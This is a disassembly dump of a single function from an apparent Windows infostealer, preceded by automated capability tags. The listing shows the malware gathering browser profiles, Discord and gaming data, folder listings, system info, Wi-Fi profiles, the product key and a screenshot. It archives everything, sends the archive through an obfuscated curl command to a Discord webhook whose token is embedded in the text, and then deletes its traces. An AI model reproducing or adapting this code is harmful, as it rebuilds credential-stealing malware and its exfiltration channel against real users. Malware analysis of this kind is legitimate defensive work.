Function at 0x1400101a0
Capabilities:
Capture network configuration via ipconfig
Execute command
Schedule task via at
Self delete

Disassembly:
sub rsp, 0x88
lea rcx, str.mkdir__appdata__COMPUTERNAME__Log
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogMessangers_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogGaming_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogBrowsers_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogServers_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogSystem_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogSystemDirectories
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogMessangersDiscord
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogGamingEpic_Games
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogGamingRiot_Games
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogBrowsersChrome_Profiles
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogBrowsersFireFox_Profiles
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogBrowsersOpera_Profiles
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogBrowsersOpera_Gx_Profiles
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogBrowsersOpera_Neon_Profiles
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogBrowsersYandex_Profiles
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.mkdir__appdata__COMPUTERNAME__LogBrowsersBrave_Profiles
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.dir__USERPROFILE_Desktop____appdata__COMPUTERNAME__LogSystemDirectoriesDesktop.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.dir__USERPROFILE_Documents____appdata__COMPUTERNAME__LogSystemDirectoriesDocuments.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.dir__USERPROFILE_Pictures____appdata__COMPUTERNAME__LogSystemDirectoriesPictures.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.dir__USERPROFILE_Videos____appdata__COMPUTERNAME__LogSystemDirectoriesVideos.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.dir__USERPROFILE__source_repos____appdata__COMPUTERNAME__LogSystemDirectories_repos.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.dir__USERPROFILE_OneDrive____appdata__COMPUTERNAME__LogSystemDirectoriesonedrive.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.dir__USERPROFILE_Dropbox____appdata__COMPUTERNAME__LogSystemDirectoriesdropbox.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ipconfig__all____appdata__COMPUTERNAME__LogSystemPRIVATEIP.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.systeminfo____appdata__COMPUTERNAME__LogSystemSystemInfo.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.tasklist____appdata__COMPUTERNAME__LogSystemTaskList.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_wlan_show_profiles____appdata__COMPUTERNAME__LogSystemWifi.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_path_softwareLicensingService_get_OA3xOriginalProductKey____appdata__COMPUTERNAME__LogSystemLicenseKey.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000e900
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov ecx, 0x20
call fcn.1400f45e0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0x11
mov qword [rsp + 0x38], 0x1f
movups xmm0, xmmword [str.C:ScreenShot.jpg]
movups xmmword [rax], xmm0
movzx ecx, byte [0x1400fb5a0]
mov byte [rax + 0x10], cl
mov byte [rax + 0x11], 0
lea rcx, [rsp + 0x20]
call fcn.14000fce0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400103c3
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400103be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400103be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f46ec
lea rcx, str.copy_C:ScreenShot.Jpg__appdata__COMPUTERNAME__Log
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.tar.exe__a__c__f__appdata__COMPUTERNAME__Log.zip__appdata__COMPUTERNAME__Log
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 5
mov qword [rsp + 0x38], 0xf
mov eax, dword [str.wala1]
mov dword [rsp + 0x20], eax
movzx eax, byte [0x1400fb634]
mov byte [rsp + 0x24], al
mov byte [rsp + 0x25], 0
lea rdx, str.dvsm_.l_.G_qbzmpbe_ktpo__dpoufou____BMMBIIBLLCFS__.G_gjmf2_Abqqebub_DPNQVUFSOBNF.Mph_jq_iuuqt_00ejtdpse_dpn0bqj0xfcipplt022:17879249853323880EKW4oVTsRq.sIBZqrXMqfxdGqVMwb4zVQEeK_2He.1xumzNTH5XyCMjBni3xW_u5mt9C
lea rcx, [rsp + 0x60]
call fcn.1400045e0
nop
lea r9, [rsp + 0x20]
mov r8, rax
lea rdx, [rsp + 0x40]
call fcn.1400011f0
cmp qword [rax + 0x18], 0xf
jbe 0x14001044c
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140010495
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010490
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010490
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f46ec
lea rcx, str.del_C:ScreenShot.Jpg
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q___appdata__COMPUTERNAME__Log
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__appdata_out.zip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x88
ret